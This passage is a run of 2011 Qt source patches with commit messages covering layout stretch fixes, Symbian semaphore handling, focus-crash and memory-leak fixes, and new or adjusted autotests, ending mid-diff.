b/src/gui/graphicsview/qgridlayoutengine.cpp index f1055ba..a3c7ff5 100644 --- a/src/gui/graphicsview/qgridlayoutengine.cpp +++ b/src/gui/graphicsview/qgridlayoutengine.cpp @@ -194,7 +194,8 @@ void QGridLayoutRowData::distributeMultiCells(const QGridLayoutRowInfo &rowInfo) for (int k = 0; k < span; ++k) { boxes[start + k].combine(extras[k]); - stretches[start + k] = qMax(stretches[start + k], stretch); + if (stretch != 0) + stretches[start + k] = qMax(stretches[start + k], stretch); } } multiCellMap.clear(); @@ -1472,7 +1473,7 @@ void QGridLayoutEngine::fillRowData(QGridLayoutRowData *rowData, const QLayoutSt QGridLayoutBox *box; if (effectiveRowSpan == 1) { box = &rowBox; - if (!userRowStretch) + if (!userRowStretch && itemStretch != 0) rowStretch = qMax(rowStretch, itemStretch); } else { QGridLayoutMultiCellData &multiCell = diff --git a/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp b/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp index 965e340..48dea0c 100644 --- a/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp +++ b/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp @@ -106,6 +106,7 @@ private slots: void testAlignmentInLargerLayout(); void testOffByOneInLargerLayout(); void testDefaultAlignment(); + void combineSizePolicies(); // Task specific tests void task218400_insertStretchCrash(); @@ -1583,6 +1584,31 @@ void tst_QGraphicsLinearLayout::testDefaultAlignment() QCOMPARE(w2->geometry(), QRectF(0,50,100,100)); } +void tst_QGraphicsLinearLayout::combineSizePolicies() +{ + QGraphicsWidget *widget = new QGraphicsWidget; + QGraphicsLinearLayout *layout = new QGraphicsLinearLayout(Qt::Horizontal, widget); + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMaximumSize(200,200); + w1->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred); + layout->addItem(w1); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setPreferredSize(50,50); + w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); + layout->addItem(w2); + QCOMPARE(layout->maximumHeight(), qreal(200)); + + // now remove the fixed vertical size policy, and set instead the maximum height to 50 + // this should in effect give the same maximumHeight + w2->setMaximumHeight(50); + w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Preferred); + QCOMPARE(layout->maximumHeight(), qreal(200)); +} + QTEST_MAIN(tst_QGraphicsLinearLayout) #include "tst_qgraphicslinearlayout.moc" -- cgit v0.12 From 7cc615479a8abdf8b4056850daa8cdb5143f3782 Mon Sep 17 00:00:00 2001 From: John Tapsell Date: Mon, 20 Dec 2010 09:52:22 +0000 Subject: Some unit tests for layout explosion thingy Adds more tests for commit 7fbf1829e11504eca6a55f1e5dbddf2f658b5302 Task-number: QTBUG-13551 --- .../tst_qgraphicsgridlayout.cpp | 158 +++++++++++++++++++++ 1 file changed, 158 insertions(+) diff --git a/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp b/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp index 35ea059..baea906 100644 --- a/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp +++ b/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp @@ -120,6 +120,11 @@ private slots: void avoidRecursionInInsertItem(); void styleInfoLeak(); void task236367_maxSizeHint(); + void spanningItem2x2_data(); + void spanningItem2x2(); + void spanningItem2x3_data(); + void spanningItem2x3(); + void spanningItem(); void heightForWidth(); void heightForWidthWithSpanning(); void stretchAndHeightForWidth(); @@ -2860,6 +2865,159 @@ void tst_QGraphicsGridLayout::heightForWidthWithSpanning() QCOMPARE(layout->effectiveSizeHint(Qt::MaximumSize, QSizeF(200, -1)), QSizeF(200, 10000)); } +Q_DECLARE_METATYPE(QSizePolicy::Policy) +void tst_QGraphicsGridLayout::spanningItem2x2_data() +{ + QTest::addColumn("sizePolicy"); + QTest::addColumn("itemHeight"); + QTest::addColumn("expectedHeight"); + + QTest::newRow("A larger spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 39 << 80; + QTest::newRow("A larger spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 39 << 80; + QTest::newRow("An equally-sized spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 40 << 80; + QTest::newRow("An equally-sized spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 40 << 80; + QTest::newRow("A smaller spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 41 << 82; + QTest::newRow("A smaller spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 41 << 82; +} + +void tst_QGraphicsGridLayout::spanningItem2x2() +{ + QFETCH(QSizePolicy::Policy, sizePolicy); + QFETCH(int, itemHeight); + QFETCH(int, expectedHeight); + QGraphicsWidget *form = new QGraphicsWidget(0, Qt::Window); + QGraphicsGridLayout *layout = new QGraphicsGridLayout(form); + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMinimumSize(80,80); + w1->setMaximumSize(80,80); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setMinimumSize(80,itemHeight); + w2->setPreferredSize(80,itemHeight); + w2->setSizePolicy(QSizePolicy::Fixed, sizePolicy); + + QGraphicsWidget *w3 = new QGraphicsWidget; + w3->setMinimumSize(80,itemHeight); + w3->setPreferredSize(80,itemHeight); + w3->setSizePolicy(QSizePolicy::Fixed, sizePolicy); + + layout->addItem(w1, 0, 0, 2, 1); + layout->addItem(w2, 0, 1); + layout->addItem(w3, 1, 1); + + QCOMPARE(layout->minimumSize(), QSizeF(160,expectedHeight)); + if(sizePolicy == QSizePolicy::Fixed) + QCOMPARE(layout->maximumSize(), QSizeF(160,expectedHeight)); + else + QCOMPARE(layout->maximumSize(), QSizeF(160,QWIDGETSIZE_MAX)); +} + +void tst_QGraphicsGridLayout::spanningItem2x3_data() +{ + QTest::addColumn("w1_fixed"); + QTest::addColumn("w2_fixed"); + QTest::addColumn("w3_fixed"); + QTest::addColumn("w4_fixed"); + QTest::addColumn("w5_fixed"); + + for(int w1 = 0; w1 < 2; w1++) + for(int w2 = 0; w2 < 2; w2++) + for(int w3 = 0; w3 < 2; w3++) + for(int w4 = 0; w4 < 2; w4++) + for(int w5 = 0; w5 < 2; w5++) { + QString description = QString("Fixed sizes:") + (w1?" w1":"") + (w2?" w2":"") + (w3?" w3":"") + (w4?" w4":"") + (w5?" w5":""); + QTest::newRow(description.toLatin1()) << (bool)w1 << (bool)w2 << (bool)w3 << (bool)w4 << (bool)w5; + } +} + +void tst_QGraphicsGridLayout::spanningItem2x3() +{ + QFETCH(bool, w1_fixed); + QFETCH(bool, w2_fixed); + QFETCH(bool, w3_fixed); + QFETCH(bool, w4_fixed); + QFETCH(bool, w5_fixed); + QGraphicsGridLayout *layout = new QGraphicsGridLayout; + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMinimumSize(80,80); + w1->setMaximumSize(80,80); + if (w1_fixed) + w1->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setMinimumSize(80,48); + w2->setPreferredSize(80,48); + if (w2_fixed) + w2->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w3 = new QGraphicsWidget; + w3->setMinimumSize(80,30); + w3->setPreferredSize(80,30); + if (w3_fixed) + w3->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w4 = new QGraphicsWidget; + w4->setMinimumSize(80,30); + w4->setMaximumSize(80,30); + if (w4_fixed) + w4->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w5 = new QGraphicsWidget; + w5->setMinimumSize(40,24); + w5->setMaximumSize(40,24); + if (w5_fixed) + w5->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + layout->addItem(w1, 0, 0, 2, 1); + layout->addItem(w2, 0, 1); + layout->addItem(w3, 1, 1); + layout->addItem(w4, 0, 2); + layout->addItem(w5, 1, 2); + + QCOMPARE(layout->minimumSize(), QSizeF(240,80)); + // Only w2 and w3 grow vertically, so when they have a fixed vertical size policy, + // the whole layout cannot grow vertically. + if (w2_fixed && w3_fixed) + QCOMPARE(layout->maximumSize(), QSizeF(QWIDGETSIZE_MAX,80)); + else + QCOMPARE(layout->maximumSize(), QSizeF(QWIDGETSIZE_MAX,QWIDGETSIZE_MAX)); +} + +void tst_QGraphicsGridLayout::spanningItem() +{ + QGraphicsWidget *form = new QGraphicsWidget(0, Qt::Window); + QGraphicsGridLayout *layout = new QGraphicsGridLayout(form); + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMinimumSize(80,80); + w1->setMaximumSize(80,80); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setMinimumSize(80,38); + w2->setPreferredSize(80,38); + w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); + + QGraphicsWidget *w3 = new QGraphicsWidget; + w3->setMinimumSize(80,38); + w3->setPreferredSize(80,38); + w3->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); + + layout->addItem(w1, 0, 0, 2, 1); + layout->addItem(w2, 0, 1); + layout->addItem(w3, 1, 1); + + QCOMPARE(layout->minimumSize(), QSizeF(160,80)); + QCOMPARE(layout->maximumSize(), QSizeF(160,80)); +} + void tst_QGraphicsGridLayout::stretchAndHeightForWidth() { QGraphicsWidget *widget = new QGraphicsWidget(0, Qt::Window); -- cgit v0.12 From 570e7b38487455d394b5b74a59edc639f3dc416f Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Thu, 13 Jan 2011 15:52:17 +0200 Subject: Fix QSystemSemaphore handle management issues in Symbian QSystemSemaphore native RSemaphore handle was unnecessarily created again on each acquire. The creation logic was also susceptible for random failures when two or more threads tried simultaneously acquire the semaphore. Task-number: QTBUG-16615 Reviewed-by: Janne Koskinen --- src/corelib/kernel/qsystemsemaphore_symbian.cpp | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/src/corelib/kernel/qsystemsemaphore_symbian.cpp b/src/corelib/kernel/qsystemsemaphore_symbian.cpp index a25a119..07cfffc 100644 --- a/src/corelib/kernel/qsystemsemaphore_symbian.cpp +++ b/src/corelib/kernel/qsystemsemaphore_symbian.cpp @@ -73,6 +73,9 @@ void QSystemSemaphorePrivate::setErrorString(const QString &function, int err) case KErrInUse: errorString = QCoreApplication::tr("%1: out of resources", "QSystemSemaphore").arg(function); error = QSystemSemaphore::OutOfResources; + case KErrPermissionDenied: + errorString = QCoreApplication::tr("%1: permission denied", "QSystemSemaphore").arg(function); + error = QSystemSemaphore::PermissionDenied; break; default: errorString = QCoreApplication::tr("%1: unknown error %2", "QSystemSemaphore").arg(function).arg(err); @@ -86,15 +89,24 @@ default: int QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode) { + if (semaphore.Handle()) { + return semaphore.Handle(); + } + // don't allow making handles on empty keys if (key.isEmpty()) return 0; + QString safeName = makeKeyFileName(); TPtrC name(qt_QString2TPtrC(safeName)); - int err; - err = semaphore.OpenGlobal(name,EOwnerProcess); - if (err == KErrNotFound){ - err = semaphore.CreateGlobal(name,initialValue, EOwnerProcess); + int err = KErrAlreadyExists; + int tryCount = 10; + // Sort out race conditions by retrying several times until existing handle is acquired. + // Sometimes opening can fail inexplicably with KErrPermissionDenied many times in a row. + while (err != KErrNoMemory && err != KErrNone && tryCount-- >= 0) { + err = semaphore.CreateGlobal(name, initialValue, EOwnerProcess); + if (err != KErrNoMemory && err != KErrNone) + err = semaphore.OpenGlobal(name,EOwnerProcess); } if (err){ setErrorString(QLatin1String("QSystemSemaphore::handle"),err); -- cgit v0.12 From c67b4cda2f5a7afd401ec3106e3a7b018fd9881d Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Thu, 13 Jan 2011 16:08:42 +0200 Subject: Fix QSharedMemory and QSystemSemaphore autotests for Symbian Reviewed-by: Janne Koskinen --- tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp | 10 +++++----- tests/auto/qtipc/qsystemsemaphore/qsystemsemaphore.pro | 5 ++++- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp index 5825524..50205bc 100644 --- a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp +++ b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp @@ -51,7 +51,7 @@ #define EXISTING_SIZE 1024 #ifdef Q_OS_SYMBIAN -#define SRCDIR "c:/data/qsharedmemorytemp/" +#define SRCDIR "c:/data/qsharedmemorytemp/lackey/" #define LACKEYDIR SRCDIR "lackey" #elif defined(Q_OS_WINCE) #define LACKEYDIR SRCDIR @@ -624,6 +624,10 @@ public: QVERIFY(producer.isAttached()); char *memory = (char*)producer.data(); memory[1] = '0'; +#if defined(Q_OS_SYMBIAN) + // Sleep a while to ensure that consumers start properly + QTest::qSleep(1000); +#endif QTime timer; timer.start(); int i = 0; @@ -645,10 +649,6 @@ public: memory[0] = 'E'; QVERIFY(producer.unlock()); -#if defined(Q_OS_SYMBIAN) - // Sleep a while to ensure that consumers start properly - QTest::qSleep(1000); -#endif } private: diff --git a/tests/auto/qtipc/qsystemsemaphore/qsystemsemaphore.pro b/tests/auto/qtipc/qsystemsemaphore/qsystemsemaphore.pro index 8a5f8b2..e21e5df 100644 --- a/tests/auto/qtipc/qsystemsemaphore/qsystemsemaphore.pro +++ b/tests/auto/qtipc/qsystemsemaphore/qsystemsemaphore.pro @@ -1,4 +1,4 @@ -CONFIG += qttest_p4 +load(qttest_p4) #QT = core include(../qsharedmemory/src/src.pri) @@ -31,5 +31,8 @@ QT += script lackey.sources = ../lackey/lackey.exe lackey.path = /sys/bin DEPLOYMENT += lackey + +# PowerMgmt capability needed to kill lackey process +TARGET.CAPABILITY = PowerMgmt } -- cgit v0.12 From 46ede046a34c822c612c55fdb1dc93dffe3fc6b6 Mon Sep 17 00:00:00 2001 From: Yoann Lopes Date: Thu, 13 Jan 2011 15:16:03 +0100 Subject: Proper fix for QGraphicsItem crash. See 8ffb49a4ac68b1c243b25343053e6e99f97ec2e7 Task-number: QTBUG-16374 Reviewed-by: TrustMe --- src/gui/graphicsview/qgraphicsitem.cpp | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp index a892094..52e4d79 100644 --- a/src/gui/graphicsview/qgraphicsitem.cpp +++ b/src/gui/graphicsview/qgraphicsitem.cpp @@ -5592,9 +5592,8 @@ void QGraphicsItemPrivate::clearSubFocus(QGraphicsItem *rootItem, QGraphicsItem if (parent->d_ptr->subFocusItem != q_ptr) break; parent->d_ptr->subFocusItem = 0; - if (parent == stopItem) - break; - parent->d_ptr->subFocusItemChange(); + if (parent != stopItem && !parent->isAncestorOf(stopItem)) + parent->d_ptr->subFocusItemChange(); } while (!parent->isPanel() && (parent = parent->d_ptr->parent)); } -- cgit v0.12 From 4d0cd05e98c3e83a4d1871c139cd8b4a2a86e988 Mon Sep 17 00:00:00 2001 From: Jeremy Katz Date: Thu, 13 Jan 2011 13:43:56 +0100 Subject: Fix system proxy test: QNetworkProxyFactory::systemProxyForQuery() is static The test failed to build because QNetworkProxyFactory can't be instantiated (pure virtual member queryProxy()), but doing so isn't necessary. The test has also been removed from the network tests because it relies on a static configuration, but can not guarantee that the configuration exists. --- tests/auto/network.pro | 1 - tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro | 2 +- tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp | 3 +-- 3 files changed, 2 insertions(+), 4 deletions(-) diff --git a/tests/auto/network.pro b/tests/auto/network.pro index 2e3b5cd..31c754c 100644 --- a/tests/auto/network.pro +++ b/tests/auto/network.pro @@ -25,7 +25,6 @@ SUBDIRS=\ qnetworkcookiejar \ qnetworkinterface \ qnetworkproxy \ - qnetworkproxyfactory \ qnetworkrequest \ qnetworksession \ qobjectperformance \ diff --git a/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro b/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro index 81460a1..369b5fa 100644 --- a/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro +++ b/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro @@ -5,7 +5,7 @@ load(qttest_p4) QT = core network -SOURCES += tst_qnetworkproxyfactory_symbian.cpp +symbian: SOURCES += tst_qnetworkproxyfactory_symbian.cpp symbian: TARGET.CAPABILITY = NetworkServices diff --git a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp index 6a8ea79..31521c3 100644 --- a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp +++ b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp @@ -68,9 +68,8 @@ QString tst_QNetworkProxyFactory_symbian::formatProxyName(const QNetworkProxy & void tst_QNetworkProxyFactory_symbian::systemProxyForQuery() const { - QNetworkProxyFactory proxyFactory; QNetworkProxyQuery query(QUrl(QString("http://www.abc.com")), QNetworkProxyQuery::UrlRequest); - QList systemProxyList = proxyFactory.systemProxyForQuery(query); + QList systemProxyList = QNetworkProxyFactory::systemProxyForQuery(query); bool pass = true; QNetworkProxy proxy; -- cgit v0.12 From 5207e48e469e279fe20304914e92edd73c5c641f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Fri, 14 Jan 2011 10:51:53 +1000 Subject: Clarify Component.createObject(null) behavior. Setting the parent of the returned item does not affect its object ownership so care must be taken to ensure it is not garbage collected. Task-number: QTBUG-16630 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativecomponent.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index e2cbdcf..f716f85 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -627,6 +627,10 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q must provide a valid \a parent value or set the returned object's \l{Item::parent}{parent} property, or else the object will not be visible. + If a \a parent is not provided to createObject(), a reference to the returned object must be held so that + it is not destroyed by the garbage collector. This is regardless of Item.parent being set afterwards, + since setting the Item parent does not change object ownership; only the graphical parent is changed. + Dynamically created instances can be deleted with the \c destroy() method. See \l {Dynamic Object Management in QML} for more information. */ -- cgit v0.12 From 4f9c026a02c2ecf0d19e7aee4ecae82e64cbaee8 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Fri, 14 Jan 2011 10:57:21 +1000 Subject: Fix memory leak Task-number: QTBUG-16526 --- src/declarative/qml/qdeclarativevme.cpp | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index 6d49625..fb07bef 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -938,8 +938,13 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, if (bindValues.count) ep->bindValues << bindValues; + else if (bindValues.values) + bindValues.clear(); + if (parserStatus.count) ep->parserStatus << parserStatus; + else if (parserStatus.values) + parserStatus.clear(); Q_ASSERT(stack.count() == 1); return stack.top(); -- cgit v0.12 From 22a00ee975545704cd0d70314f45f3b3ecf7ab01 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Fri, 14 Jan 2011 16:14:17 +1000 Subject: Autotest for QVariant value types --- .../qdeclarativevaluetypes/data/variant_read.qml | 9 +++++++++ tests/auto/declarative/qdeclarativevaluetypes/testtypes.h | 3 +++ .../qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp | 14 ++++++++++++++ 3 files changed, 26 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml diff --git a/tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml b/tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml new file mode 100644 index 0000000..a08f3db --- /dev/null +++ b/tests/auto/declarative/qdeclarativevaluetypes/data/variant_read.qml @@ -0,0 +1,9 @@ +import Test 1.0 + +MyTypeObject { + property real s_width: variant.width + property real s_height: variant.height + property variant copy: variant +} + + diff --git a/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h index 86cbaa5..104d22f 100644 --- a/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h +++ b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h @@ -76,6 +76,7 @@ class MyTypeObject : public QObject Q_PROPERTY(QQuaternion quaternion READ quaternion WRITE setQuaternion NOTIFY changed) Q_PROPERTY(QMatrix4x4 matrix READ matrix WRITE setMatrix NOTIFY changed) Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY changed) + Q_PROPERTY(QVariant variant READ variant NOTIFY changed) public: MyTypeObject() : @@ -152,6 +153,8 @@ public: QFont font() const { return m_font; } void setFont(const QFont &v) { m_font = v; emit changed(); } + QVariant variant() const { return sizef(); } + void emitRunScript() { emit runScript(); } signals: diff --git a/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp b/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp index a5cf051..ce857a0 100644 --- a/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp +++ b/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp @@ -77,6 +77,7 @@ private slots: void quaternion(); void matrix4x4(); void font(); + void variant(); void bindingAssignment(); void bindingRead(); @@ -210,6 +211,19 @@ void tst_qdeclarativevaluetypes::sizef() } } +void tst_qdeclarativevaluetypes::variant() +{ + QDeclarativeComponent component(&engine, TEST_FILE("variant_read.qml")); + MyTypeObject *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(float(object->property("s_width").toDouble()), float(0.1)); + QCOMPARE(float(object->property("s_height").toDouble()), float(100923.2)); + QCOMPARE(object->property("copy"), QVariant(QSizeF(0.1, 100923.2))); + + delete object; +} + void tst_qdeclarativevaluetypes::sizereadonly() { { -- cgit v0.12 From c9045e9f65f9fb5072825fb49e56f6db8197a917 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jan-Arve=20S=C3=A6ther?= Date: Fri, 14 Jan 2011 13:38:02 +0100 Subject: Revert "Add a warning about trying to release a timer ID that isn't active" This reverts commit e1955231478df8990cf8b1f80438abf957c5d6f2. In a patch release this is the best way of fixing the problem of warnings. This will be fixed properly in 4.8 Reviewed-by: Gabriel Task-number: QTBUG-16175 --- src/corelib/kernel/qeventdispatcher_unix.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp index b2ccc68..f50994c 100644 --- a/src/corelib/kernel/qeventdispatcher_unix.cpp +++ b/src/corelib/kernel/qeventdispatcher_unix.cpp @@ -501,7 +501,6 @@ bool QTimerInfoList::unregisterTimer(int timerId) } } // id not found - qWarning("Application asked to unregister timer 0x%x which is not registered in this thread. Fix application.", timerId); return false; } -- cgit v0.12 From deef2cb5e01b871008b08b81691ad4a46deca328 Mon Sep 17 00:00:00 2001 From: Jeremy Katz Date: Fri, 14 Jan 2011 14:23:56 +0100 Subject: various fixes to deal with CI gate failures --- src/network/kernel/qnetworkproxy_symbian.cpp | 30 +++---- tests/auto/network.pro | 1 + .../qnetworkproxyfactory/qnetworkproxyfactory.pro | 2 +- .../tst_qnetworkproxyfactory.cpp | 100 +++++++++++++++++++++ 4 files changed, 117 insertions(+), 16 deletions(-) create mode 100644 tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp diff --git a/src/network/kernel/qnetworkproxy_symbian.cpp b/src/network/kernel/qnetworkproxy_symbian.cpp index c1f9c1d..79dfb27 100644 --- a/src/network/kernel/qnetworkproxy_symbian.cpp +++ b/src/network/kernel/qnetworkproxy_symbian.cpp @@ -1,17 +1,17 @@ /**************************************************************************** ** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the QtNetwork module of the Qt Toolkit. +** This file is part of the FOO module of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ -** Commercial Usage -** Licensees holding valid Qt Commercial licenses may use this file in -** accordance with the Qt Commercial License Agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Nokia. +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser @@ -25,16 +25,16 @@ ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU -** General Public License version 3.0 as published by the Free Software -** Foundation and appearing in the file LICENSE.GPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU General Public License version 3.0 requirements will be -** met: http://www.gnu.org/copyleft/gpl.html. -** ** If you have questions regarding the use of this file, please contact ** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** ** $QT_END_LICENSE$ ** ****************************************************************************/ diff --git a/tests/auto/network.pro b/tests/auto/network.pro index 31c754c..7d83054 100644 --- a/tests/auto/network.pro +++ b/tests/auto/network.pro @@ -35,6 +35,7 @@ SUBDIRS=\ qsslerror \ qsslkey \ qsslsocket \ +# qnetworkproxyfactory \ # Uses a hardcoded proxy configuration !contains(QT_CONFIG, private_tests): SUBDIRS -= \ qauthenticator \ diff --git a/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro b/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro index 369b5fa..f05c423 100644 --- a/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro +++ b/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro @@ -5,7 +5,7 @@ load(qttest_p4) QT = core network -symbian: SOURCES += tst_qnetworkproxyfactory_symbian.cpp +SOURCES += tst_qnetworkproxyfactory.cpp symbian: TARGET.CAPABILITY = NetworkServices diff --git a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp new file mode 100644 index 0000000..e770f30 --- /dev/null +++ b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp @@ -0,0 +1,100 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + + +#include + +#include +#include +#include + +class tst_QNetworkProxyFactory : public QObject { + Q_OBJECT +private slots: + void systemProxyForQuery() const; + +private: + QString formatProxyName(const QNetworkProxy & proxy) const; +}; + +QString tst_QNetworkProxyFactory::formatProxyName(const QNetworkProxy & proxy) const +{ + QString proxyName; + if (!proxy.user().isNull()) + proxyName.append("%1:%2@").arg(proxy.user(), proxy.password()); + proxyName.append("%1:%2").arg(proxy.hostName(), proxy.port()); + proxyName.append(" (type=%1, capabilities=%2)").arg(proxy.type(), proxy.capabilities()); + + return proxyName; +} + +void tst_QNetworkProxyFactory::systemProxyForQuery() const +{ + QNetworkProxyQuery query(QUrl(QString("http://www.abc.com")), QNetworkProxyQuery::UrlRequest); + QList systemProxyList = QNetworkProxyFactory::systemProxyForQuery(query); + bool pass = true; + QNetworkProxy proxy; + + QList nativeProxyList; + nativeProxyList << QNetworkProxy(QNetworkProxy::HttpProxy, QString("http://test.proxy.com"), 8080) << QNetworkProxy::NoProxy; + + foreach (proxy, systemProxyList) { + if (!nativeProxyList.contains(proxy)) { + qWarning() << "System proxy not found in native proxy list: " << + formatProxyName(proxy); + pass = false; + } + } + + foreach (proxy, 